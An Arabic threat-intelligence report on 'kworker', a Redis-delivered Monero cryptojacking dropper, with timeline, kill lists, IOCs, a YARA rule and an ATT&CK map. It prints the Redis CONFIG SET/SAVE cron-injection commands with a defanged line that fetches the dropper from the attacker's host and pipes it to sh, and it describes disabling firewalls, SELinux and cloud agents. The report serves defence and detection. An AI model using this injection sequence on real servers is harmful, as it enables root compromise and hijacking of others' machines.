malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker: عامل التعدين الذي يجلب أداة إزالته الخاصة
ضبطت Kinryū Labs عامل تعدين خبيث من سلالة 8220 وهو يحوّل منفذ Redis مفتوحاً وبلا كلمة مرور إلى صدفة root في نحو خمس ثوانٍ. الأداة المُسقِطة، وهي برنامج صدفة من 636 سطراً اسمه kworker، تزيل وكلاء أمان السحابة من Alibaba وTencent بأدوات المورّدين أنفسهم، وتنفق 200 سطر في قتل عمّال التعدين المنافسين، وتزرع باباً خلفياً في SSH، وتخفي عامل تعدين مونيرو XMRig خلف ps وtop وpstree مزيّفة، وتحاول الانتشار أبعد.
بقلم Davis Zheng·
TLP:CLEAR. أُجيز للنشر العام. التُقط بواسطة شبكة مستشعرات مصائد Kinryū Labs في 10 يونيو 2026. تحليل ساكن وسلبي فقط: لم تُشغَّل الأداة المُسقِطة قط ولم يُتصل بأي بنية تحتية للمهاجم. المؤشرات أدناه مُبطَّلة المخالب (defanged)؛ قاعدة YARA تحمل السلاسل الحية بحكم التصميم، للكشف. لم نسترجع ثنائي عامل التعدين من المرحلة الثانية ولا محفظة مونيرو.
ملخص تنفيذي
- ~5ثمن منفذ Redis مفتوح إلى أربعة أبواب خلفية root في cron
- 636سطر bash، عُدّة كاملة للاستيلاء على المضيف
- 2أداتا إزالة من المورّد محمولتان بترميز base64 في الداخل
- 80+عامل تعدين منافس في قائمة القتل
في الدقيقة السادسة بعد منتصف الليل بتوقيت UTC، فتح شيء ما اتصالاً بمنفذ Redis على إحدى مصائدنا، ونفّذ أمر INFO واحداً ليرى ما الذي يحادثه، ثم أغلق. بعد ثانيتين عاد وشرع في العمل. وبحلول قطعه الاتصال، خمس ثوانٍ إجمالاً، كان قد أعاد كتابة جدول cron للخادم بأربع طرق مختلفة ووجّه كلاً منها إلى الملف ذاته: برنامج صدفة اسمه kworker.
لم نسمح له بالتشغيل قط. تلتقط المصيدة الحمولة، وتحسب بصمتها (hash)، وتحفظها جانباً؛ أما الجهاز نفسه فيبقى نظيفاً. فما بقي لدينا هو البرنامج كاملاً، الأسطر الـ636 جميعها، وتسجيل كامل للاقتحام. وقراءتهما معاً تقدّم مقطعاً عرضياً نظيفاً لما وصل إليه تعدين العملات الخبيث الشائع على Linux في 2026، وkworker عيّنة جيدة، لأنه يفعل تقريباً كل ما ابتكره هذا النوع على الإطلاق. كما يفعل أمراً واحداً بوجه جادّ تماماً: يزيل مضاد الفيروسات لديك مستخدماً أداة الإزالة الخاصة بمورّد مضاد الفيروسات نفسه.
التقييمات الرئيسية
- تعدين عملات خبيث شائع من سلالة 8220 Gang / kworkerds، انتهازي وغير موجّه (ثقة متوسطة). التسليم عبر Redis، وأدوات التنزيل المُعاد تسميتها، وملف القفل
/etc/javae، وقائمة القتل الضخمة، كلها سمات لهذه العائلة. نبقى عند المتوسط، لا أعلى، لأن هذا كود مُتشعّب (forked) على نطاق واسع تتداوله الطواقم وتعيد بيعه، فالاسم يشير إلى سلالة لا إلى مؤلف واحد. - الهدف هو تعدين مونيرو (ثقة عالية). غرض البرنامج كله هو جلب وتشغيل
javae، وهو نسخة من XMRig، بعد تفعيل huge pages من أجلها. وكل ما عدا ذلك موجود لإخلاء الساحة والإبقاء على المضيف. - برمجية ناضجة ومجرَّبة كثيراً، لا مشروع عطلة نهاية أسبوع لأحدهم (ثقة عالية). أسطر cron الخاصة بالاقتحام نفسه تستدعي
cd1وwd1، وهي أدوات لا توجد إلا بعد تثبيت kworker. العُدّة تفترض نفسها سلفاً، وهذه علامة كود ظلّ متداولاً مدة. - المحفظة الغائبة متعمَّدة (ثقة عالية). لا يحمل البرنامج عنوان مونيرو ولا تجمّع تعدين؛ كلاهما يعيش في ثنائي عامل التعدين الذي لم نسترجعه. التفصيل الوحيد الذي قد يربط حملات هذا الطاقم معاً هو بالضبط ما يبقونه خارج البرنامج، وهو الجدار ذاته الذي اصطدمنا به في RedTail.
FLUSHALL، ثم أربع طرق إلى cron
ظلّ Redis المتروك مفتوحاً للإنترنت بلا كلمة مرور لسنوات صدفةَ root من سطر واحد، والتقنية هنا هي القديمة الموثوقة. اضبط مفتاح قاعدة بيانات قيمته مهمة cron. أخبر Redis أن يحفظ قاعدة بياناته في مجلد cron. استدعِ SAVE. يكتب Redis قاعدة بياناته على القرص، ومعها مهمة cron المزيّفة، وبعد دقيقة يشغّلها cron بصلاحية root. زائرنا أخذ بصمة الخادم، وتحقّق من قدرته على كتابة ملف، وأطفأ الأمان الذي يوقف الحفظ عند الفشل، ونفّذ الحيلة.
# ما أرسله الزائر إلى Redis (مختصر، مُبطَّل المخالب)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
يتّسع الاقتحام كله في حفنة من الثواني:
- 00:06:00 UTCالاتصال، إرسال
INFOواحد لأخذ بصمة الخادم، قطع الاتصال. - +ثانيتانإعادة الاتصال. ضبط أربعة مفاتيح، كلٌّ يحمل سطر cron.
CONFIG SET dirإلى مجلد cron،CONFIG SET dbfilenameإلى ملف cron المستهدف، تعطيل stop-writes-on-bgsave-error، ثمSAVE. - +5 ثوانٍ إجمالاًقطع الاتصال. لدى المصيدة الحمولة كاملةً والتسجيل كاملاً؛ والجهاز يبقى نظيفاً.
- +دقيقة واحدةعلى مضيف حقيقي، يشغّل cron السطر المزروع بصلاحية root ويجلب
kworker.
ما يستحق التمهّل عنده هو التكرار. لم يكتب مهمة cron واحدة؛ بل كتب التعليمة ذاتها في أربعة أماكن، /var/spool/cron/root و/var/spool/cron/crontabs و/etc/cron.d/javae و/etc/crontab، مغطّياً تخطيطَي Red Hat وDebian وكلتا صيغتَي cron. كل سطر يجلب kworker بأداة مختلفة، cd1 وwget وcurl وwd1، وفق جدول متدرّج من دقيقتين وثلاث وأربع وخمس. اسمان من تلك ليسا برنامجين حقيقيين. cd1 وwd1 هما ما يعيد kworker تسمية curl وwget إليه بعد تثبيته. الاقتحام يفترض سلفاً البرنامجَ الذي هو على وشك تنزيله. العُدّة كلها متّسقة داخلياً، وهكذا تعرف أنها برمجية ناضجة ومجرَّبة كثيراً، لا مشروع عطلة نهاية أسبوع لأحدهم.
اجلب أداة إزالتك الخاصة
لحظة حصوله على root، يبدأ kworker بتفكيك المبنى. جدار الحماية يُمسح، وufw يُطفأ، وSELinux يُخفَّض إلى permissive ثم يُعطَّل في إعداده، وAppArmor يُوقَف، وحارس NMI في النواة يُطفأ، وهذا مهم لأن عامل التعدين يثبّت المعالج عند مئة بالمئة لأسابيع، والحارس من الأشياء القليلة التي قد تلحظ ذلك. ويُحذف /var/log/syslog كلياً.
ثم يذهب باحثاً عن وكلاء أمان السحابة، وهنا يكفّ البرنامج عن كونه عادياً. مزوّدو السحابة الصينيون الكبار يضعون وكيل مضيف على أجهزتهم الافتراضية: Aegis من Alibaba، الذي ستراه يعمل باسم AliYunDun؛ وYunJing من Tencent؛ وHostGuard من Huawei. يتحقق kworker من كلٍّ منها. وحيث يجد وكيل Alibaba، لا يكتفي بقتل العملية. بل يشغّل أداة الإزالة الرسمية من Alibaba، وللتأكد من نجاح ذلك حتى على جهاز بلا مسار عودة إلى Alibaba، يحمل اثنين من برامج الإزالة الخاصة بـ Alibaba مُرمَّزَين بـ base64 في داخله. فككنا ترميز كليهما. إنهما الأصل الحقيقي، بكل تفكيك تتبّع kprobe وما إلى ذلك.
يزيل حماية نقاط النهاية لديك بنظافة، تماماً كما قصد المورّد، ويترك السجلات مرتّبة.
ذلك ليس ارتجالاً. جلس أحدهم أمام جهاز Aliyun حقيقي، واقتطع أدوات الإزالة، وبناها داخل البرنامج.
حرب نفوذ، مكتوبة بلغة bash
إن لم تقرأ أحد هذه البرامج من قبل، فما يفاجئك هو كم منه موجّه إلى مجرمين آخرين. العدوّ الحقيقي لعامل التعدين هو عامل التعدين التالي الذي يحاول استئجار المعالج نفسه، لا مدير النظام. ينفق kworker نحو مئتي سطر في مطاردة المنافسين، ويقتل بكل مقبض يستطيع الإمساك به.
- بالاسم العملية، من قائمة حظر تضمّ أكثر من مئة:
xmrigوkinsingوkdevtmpfsi، وعائلةwatchdogsوwatchbog، وddgوsustes، وkworkerdsالأقدم الذي ينحدر منه اسمه. - بالمنفذ، تلك التي تجلس عليها تجمّعات التعدين وبوتات IRC.
- بعنوان IP المُضمَّن بالكود.
- بوحدة المعالجة، الأداة الفظّة: أي شيء يحرق أكثر من 40 بالمئة من المعالج باسم لا يتعرّف عليه يُقتَل، بمنطق أن عملية مجهولة تأكل المعالج هي، بالتعريف، عامل تعدين منافس.
يحذف ملفاتهم من /tmp و/dev/shm، ويقتطع مهام cron الخاصة بهم، ويزيل جذور الاختراق (rootkits) من نوع preload التي يثبّتها بعضهم، ويمدّ يده إلى Docker ليقتل ويحذف صور التعدين المعروفة. هذا هو الاستيلاء على الأرض نفسه الذي وثّقناه في برنامج clean لـ RedTail وفي killservice.sh لـ Rootpacket؛ هذه الطواقم كلها تتقاتل على الأجهزة المُهيّأة بسوء نفسها، وكلها تفتتح بكنس الساحة.
كما أنه، تحديداً وتكراراً، وقح مع TeamTNT: يلغي إعادتَي تسمية curl وwget اللتين يجريهما TeamTNT ويمسح أدلّته. وحيث يقتل Kinsing يطمس الملف بكلمة fuckyou ويقفله كي لا يستطيع Kinsing إعادة نفسه. لا شرف هنا، بل استيلاء على الأرض فحسب، وkworker يلعبها أقسى من الأغلب.
اقرأ القائمة بإمعان فتتحوّل إلى فهرس لكيفية اختباء المنافسة. مجموعة من الأهداف تتظاهر بأنها خيوط نواة، kacpi_svc وkswap_svc وkthreadd_svc وksoftirqd_svc؛ وأخرى تتظاهر بأنها عفاريت نظام، polkitd وacpid وdbus-daemon--system، وsystemctI بحرف I كبير حيث ينبغي أن تكون L. يطارد kworker الأقنعة ذاتها التي يرتديها منافسوه، وهي الأقنعة نفسها التي يمدّ يده إليها بعد أسطر قليلة حين يخفي javae بين أسماء مثل systemd-network وirqbalanced. الجميع في هذه المعركة متنكّر في زيّ ضجيج نظام مملّ، والجميع حفظ زيّ الجميع.
بعض الأهداف ليست أسماء أصلاً. أحدها L2Jpbi9iYXN، بداية ترميز base64 لأمر /bin/bash. يبحث kworker (grep) في جدول العمليات عن تلك البادئة المُرمَّزة، فيصطاد مُحمِّل منافسٍ من كتلة base64 الجالسة في سطر أوامره.
القائمة كلها طويلة، أكثر من مئة طريقة لتسمية عملية تريدها ميتة، وتستحق التصفّح مرة واحدة لمجرد ملمس هذه العداوة:
قائمة القتل الكاملة، مستخرَجة من البرنامج المُلتَقَط
مأخوذة من kill_miner_proc وkill_sus_proc وكنس Docker. كل ما هنا هدف يطارده kworker، لا بنيته التحتية. عناوين IP مُبطَّلة المخالب.
المنافذ التي يقتل عليها أي عملية (تجمّعات التعدين، بوتات IRC، أحصنة RAT، SSH وTelnet بديلة): 23، 143، 2222، 3333، 3347، 3389، 5555، 6665، 6666، 6667، 7777، 8444، 10008، 13531.
عائلات معروفة من عمّال التعدين وشبكات البوت: xmrig، xmrig-cpu، xmrig-notls، xmr-stak، mstxmr، cnrig، minerd، minergate، cryptonight، crypto-pool، moneroocean، kinsing، kdevtmpfsi، kworkerds، kworker34، watchdogs، watchd0g، watchbog، ddg، ddg.2011، sustes، sustse، sustse3، kthrotlds، ksoftirqds، tntrecht (TeamTNT)، nanoWatch، sourplum، disk_genius، biosetjenkins، nullcrew.
منافسون متخفّون كخيوط نواة: kacpi_svc، kswap_svc، kauditd_svc، kpsmoused_svc، kseriod_svc، kthreadd_svc، ksoftirqd_svc، kintegrityd_svc، kblockd_svc، native_svc.
منافسون متخفّون كعفاريت نظام (daemons): polkitd، acpid، dbus-daemon--system، irqbalance، irqbalanc1، crond64، nginxk، vmlinuz، systemctI (حرف i كبير، ليس systemctl)، systemten، systemxlv، svcupdate، netdns، netns، redis2، rsync، httpgd، haveged، voltuned، nqscheduler.
حمولات وبرامج نصية ومعرّفات حملات أخرى مسمّاة: apaceha، apachiii، mixnerdx، mixtape، performedl، conns، mgwsl، pythno، jweri، lx26، i586، gddr، askdljlqw، ysaydh، bonns، donns، kxjd، nopxi، deamon، zigw، devtool، devtools، suppoie، exin، xr، jawa، ynn، servim، darwin، sysstats، Loopback، XJnRj، NXLAi، BI5zj، icb5o، wnTKYg، 2t3ik، qW3xT.2، hahwNEdB، CnzFVPLF، CvKzzZLs، OIcJi1m، IOFoqIgyC0zmf2UR، 65ccEJ7، jmxx، 2Ne80nA، C4iLM4L، Guard.sh، Duck.sh، bonn.sh، conn.sh، kw.sh، pro.sh، mr.sh، 2mr.sh، cr5.sh، he.sh، miner.sh، l.sh، z3.sh، lower.sh، ndt.sh، logo9.jpg، oracle.jpg، init10.cfg، init12.cfg، j2.conf، zer0day.ru، gitee.com.
مُشغّلات مُبهّمة وملفات إعداد مُسقطة: ./ppp، ./vsp، ./jvs، ./pvv، ./vpp، ./pces، ./rspce، ./jiba، ./haveged، ./watchbog، ./servceaess وتوائمه المكتوبة بأخطاء إملائية، mwyumwdbpq.conf، honvbsasbf.conf، mqdsflm.cf، /wl.conf، wc.confz، إضافة إلى علامة المهد base64 L2Jpbi9iYXN (بداية أمر سطر واحد /bin/bas...).
عناوين IP لتجمّعات وC2 المنافسين التي يطلق النار عليها فور رؤيتها: 45.76.122[.]92، 51.38.191[.]178، 51.15.56[.]161، 104.248.4[.]162، 89.35.39[.]78، 107.174.47[.]156، 107.174.47[.]181، 83.220.169[.]247، 51.38.203[.]146، 144.217.45[.]45، 176.31.6[.]16، 46.243.253[.]15، 200.68.17[.]196، 188.209.49[.]54، 181.214.87[.]241، 121.42.151[.]137.
صور وحاويات Docker التي يقتلها ويحذفها: حاويات بأسماء pocosow، gakeaws، azulu، auto، xmr، mine، slowhttp، bash.shell؛ مراجع صور pocosow، gakeaws، buster-slim، hello-، azulu، registry، xmr، monero، mine، slowhttp.
والأداة الفظّة: أي شيء يتجاوز 40 بالمئة من المعالج ولا يطابق javae يُقتَل، وكذلك أي شيء يتجاوز 10 بالمئة ويبدو اسمه كخيط نواة بين قوسين معقوفين، وأي شيء يعمل من /tmp، وأي عملية باسم طويل على نحو مريب.
الآن لا تراه
بعد إخلاء الساحة، يخفي لاعبه الخاص. يستبدل ps وtop وpstree بأغلفة من سطرين تستدعي الثنائيات الحقيقية وتصفّي بهدوء أي سطر يذكر عامل التعدين (javae) أو الماسح الذي يحمله (pnscan)، ثم يؤرّخ المزيّفات بتاريخ سابق إلى 2016 كي لا تبدو جديدة. شغّل ps على جهاز مصاب، وببساطة لن يكون عامل التعدين في القائمة.
عامل التعدين مُسمّى أصلاً ليتلاشى في جدول العمليات: javae جالساً بجوار ملفات قفل مزروعة بأسماء مثل systemd-network وirqbalanced وkswaped، كلٌّ مُختار ليُقرأ كضجيج نظام مملّ.
مفتاح، وطريق إلى الجيران
حركتان أُخريان تُتمّان الاستيلاء.
يكتب المفتاح العام لـ SSH الخاص بالمشغّل، الذي تعليقه مجرد uc1، في authorized_keys للمستخدم root ويجعل الملف غير قابل للتغيير (immutable)، بحيث لا تكفي ملاحظته؛ بل عليك مسح بِت عدم القابلية للتغيير قبل أن تتمكن حتى من حذفه. هذا وصول عملي يبقى بعد تنظيف عامل التعدين.
ثم يحاول الانتشار. يقرأ known_hosts للمستخدم root، قائمة كل جهاز سجّل هذا الصندوق الدخول إليه، ويحاول الاتصال عبر SSH بكلٍّ منها مستخدماً المفاتيح المُلقاة على القرص أصلاً، مشغّلاً على كل ما يسمح له بالدخول أمرَ سطر واحد يجلب kworker من عنوان النسخ الاحتياطي ويبدأ القصة كلها من جديد. ليس دودة سريعة ويتّكئ على ترك مفاتيح بلا كلمة مرور في الأرجاء، لكن على نوع الأساطيل التي تُترك فيها عادةً، يكفي ذلك ويزيد.
عامل التعدين، والمحفظة التي لم نحصل عليها
رغم كل تلك الآلية، فإن الرابح الفعلي مملّ: ملف ثانٍ، javae، نسخة من XMRig تعدّن مونيرو. يفعّل kworker الـ huge pages (vm.nr_hugepages مضبوطاً على 128، تسريع XMRig قياسي)، ويُسقط javae في /etc، ويشغّله.
هنا ثغرة هذا التقرير. ليس لدينا javae، وليست لدينا المحفظة. لا يحمل البرنامج عنوان مونيرو ولا تجمّعاً؛ فهذان مخبوزان في ثنائي عامل التعدين، الذي يُجلب وقت التشغيل، ولم يقدّمه الـ C2 إلى أيٍّ من صناديق الرمل العامة التي نظرت في هذه العيّنة، فلا شيء لتفكيكه بشكل سلبي. وكل من يحلّل kworker بمفرده يصطدم بالجدار نفسه. المحفظة هي الشيء الوحيد الذي قد يربط حملات هذا الطاقم معاً، وهي بالضبط ما يبقونه خارج البرنامج.
مُستضاف على Cloudflare، عن قصد
يأتي كلٌّ من البرنامج وعامل التعدين من download.logltech[.]workers[.]dev، وهو عنوان Cloudflare Workers، وذلك اختيار متعمَّد. Workers مجاني، وHTTPS افتراضياً، ويستعير سمعة Cloudflare فيمرّ متجاوزاً قوائم حظر النطاقات، ويخفي أيّ أصل (origin) يتحكم فيه المشغّل فعلاً. لم تَرَ مصيدتنا خادماً حقيقياً قط؛ لم تَرَ سوى Cloudflare دائماً.
قناة النسخ الاحتياطي، التي تستخدمها الدودة، هي tutorial.clashverge[.]space، المُسجَّلة أواخر فبراير. وكل عنوان IP آخر مُضمَّن بالكود في البرنامج يخصّ منافساً يريده ميتاً، مبعثراً عبر أجهزة Vultr وOVH وDigitalOcean ومضيف Alibaba Cloud واحد في هانغتشو، لا هذا المشغّل البتة. اقرأ عناوين IP المُضمَّنة بالكود كقائمة أهداف، لا كبنية تحتية.
لمن هذا؟
بحذر، إذاً. هذا تعدين عملات خبيث شائع من السلالة المُصنَّفة عادةً تحت 8220 Gang، أو kworkerds. العلامات كلها حاضرة: التسليم عبر حقن cron في Redis، إعادة تسمية curl إلى cd1، ملف القفل /etc/javae، الناشر pnscan، قائمة القتل الضخمة. محرّكات مضادات الفيروسات لا تتفق على اسم، وهذا في ذاته المغزى. يسمّيه ClamAV باسم Rocke، ويسِمه Rising باسم TeamTNT، والبقية تقول فقط CoinMiner. هذه البرامج تُنسَخ وتُدمَج وتُعاد بيعها عبر نصف دزينة من الطواقم، وkworker يقتل عدّة عائلات هو قريب لها.
عامل العائلة كحيّ سكني، لا كبصمة إصبع.
التركيز على وكلاء السحابة الصينيين، وشقيق على Windows بلغة PowerShell يربطه VirusTotal بالعيّنة نفسها، يُكمّلان الصورة، لكن العبارة الآمنة هي المتواضعة. مُتشعّب على نطاق واسع، بدافع مالي، غير موجّه، وليس جديداً. ثقة متوسطة، ومرتاحون عندها.
مؤشرات الاختراق
الشبكة
| المؤشر | السياق |
|---|---|
download.logltech[.]workers[.]dev | C2 (أساسي)، Cloudflare Workers. يقدّم /up/down/api/{kworker, javae, cb.txt} |
tutorial.clashverge[.]space | C2 (احتياطي)، تستخدمه الدودة. سُجّل في 27 فبراير 2026 |
170.9.225[.]197 | عنوان IP المصدر الذي ضرب مصيدة Redis |
مضيف *.workers.dev + GET تحت /up/down/api/ | نمط جلب حمولة يستحق نظرة جادّة على السلك |
الملفات (SHA-256 / MD5)
| الملف | SHA-256 | MD5 |
|---|---|---|
kworker (الأداة المُسقِطة) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae (عامل تعدين XMRig) | لم يُسترجع، المتوقع 5,685,096 بايت |
مفتاح SSH للباب الخلفي: التعليق uc1، بصمة المفتاح العام SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. اصطده في authorized_keys عبر كامل الأسطول.
آثار على المضيف
| المسار | السياق |
|---|---|
/etc/kworker، /etc/javae، /etc/cron.d/javae، /tmp/{kworker,javae} | ملفات مُسقطة |
/usr/bin/cd1 (كان curl)، /usr/bin/wd1 (كان wget) | أدوات تنزيل مُعاد تسميتها |
/bin/ps.original، /bin/top.original، /bin/pstree.original | ثنائيات حقيقية محفوظة خلف أغلفة مُحصَّنة بحصان طروادة |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | ملفات قفل غير قابلة للتغيير بأسماء من رقم واحد |
vm.nr_hugepages = 128 | huge pages مُفعَّلة لـ XMRig |
سلوكية
-
psأوtopأوpstreeهو في الحقيقة برنامج صدفة يمرّر عبرgrep -v. -
authorized_keysلم تكتبه أنت، ينتهي بالتعليقuc1. - مهام cron تشغّل
sh /etc/kworkerأوsh /tmp/kworker، و/etc/cron.d/javaeالذي ينبغي ألا يوجد. - ملفات غير قابلة للتغيير بأسماء من رقم واحد في
/usr/bin/kswapedورفاقه. -
curlوwgetأُعيدت تسميتهما إلىcd1وwd1. -
vm.nr_hugepagesمضبوط بهدوء على 128.
الكشف
الدلائل من جهة المضيف صاخبة متى عرفتها، وهي مُدرَجة أعلاه. على السلك، أي شيء يحلّ مضيف *.workers.dev ويطلب مسارات تحت /up/down/api/ يستحق نظرة جادّة. وفي ما يلي قاعدة YARA تُطلَق على السلاسل المستقرة. تحمل السلاسل الحية عن قصد، للكشف.
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
ما الذي ينبغي أن يغيّره هذا
لا شيء من هذا متطوّر، وتلك هي العبرة. دخل kworker لأن منفذ Redis كان مفتوحاً بلا كلمة مرور، خطأ من 2018 لا يزال يؤتي ثماره في 2026. وكل ما تلا ذلك، إزالة الـ EDR وجذر الاختراق والدودة، لم يكن مهماً إلا لأن الباب الأمامي كان غير مقفل.
- لا تعرّض Redis، ولا أي مخزن بيانات، للإنترنت، واجعله يتطلب مصادقة. عامل خدمة مفتوحة واحدة كاختراق للمضيف كله، لا لخدمة واحدة.
- راقب cron و
authorized_keysكما لو كانا كود إنتاج، لأنهما بالنسبة إلى مهاجم هما ذلك بالضبط. - لا تعتبر وكيل السحابة على الجهاز شبكة أمان. كان أول غريزة لدى kworker أن يتقدّم ويزيله، بأدب، بأدوات المورّد نفسه.
مخطط MITRE ATT&CK
| التكتيك | التقنية |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Redis) |
| Execution | T1059.004 Unix Shell |
| Persistence | T1053.003 Cron; T1098.004 SSH Authorized Keys |
| Defense Evasion | T1562.001 Impair Defenses: Disable or Modify Tools (إزالة وكيل السحابة وEDR); T1562.004 Disable or Modify System Firewall; T1070.002 Clear Linux or Mac System Logs; T1014 Rootkit (ps/top/pstree مُحصَّنة بحصان طروادة); T1036.005 Masquerading: Match Legitimate Name; T1222.002 Linux File and Directory Permissions Modification (chattr +i); T1070.006 Timestomp (مزيّفات بتاريخ سابق) |
| Discovery | T1057 Process Discovery (مطاردة المنافسين); T1518.001 Security Software Discovery (وكلاء السحابة); T1046 Network Service Scanning (pnscan) |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1102 Web Service (Cloudflare Workers); T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (تعدين مونيرو) |
المنهجية وملاحظات المحلل
- كان التحليل ساكناً وسلبياً. لم تُشغَّل الأداة المُسقِطة قط ولم يُتصل بأي بنية تحتية للمهاجم. تأتي النتائج من قراءة البرنامج المُلتَقَط من 636 سطراً كاملاً، وفك ترميز أدوات الإزالة base64 المُضمَّنة، ومراجعة جلسة Redis المُسجَّلة.
- المؤشرات أعلاه مُبطَّلة المخالب. قاعدة YARA تحتوي السلاسل الحية عن قصد، للكشف.
- ليس لدينا عامل تعدين المرحلة الثانية (
javae) ولا محفظة مونيرو. لا يحمل البرنامج أياً منهما؛ كلاهما يعيش في ثنائي عامل التعدين، الذي يُجلب وقت التشغيل ولم يقدّمه الـ C2 لصناديق الرمل العامة. استرجاع المحفظة كان سيتطلب تفجيراً حياً مع التقاط للشبكة، وهو ما لم نفعله. - العيّنات (الأداة المُسقِطة وأدوات الإزالة المفكوكة الترميز) متاحة للباحثين والمدافعين الآخرين عند الطلب. راسل [email protected] مع ملاحظة قصيرة عمّن أنت وما حاجتك إليها.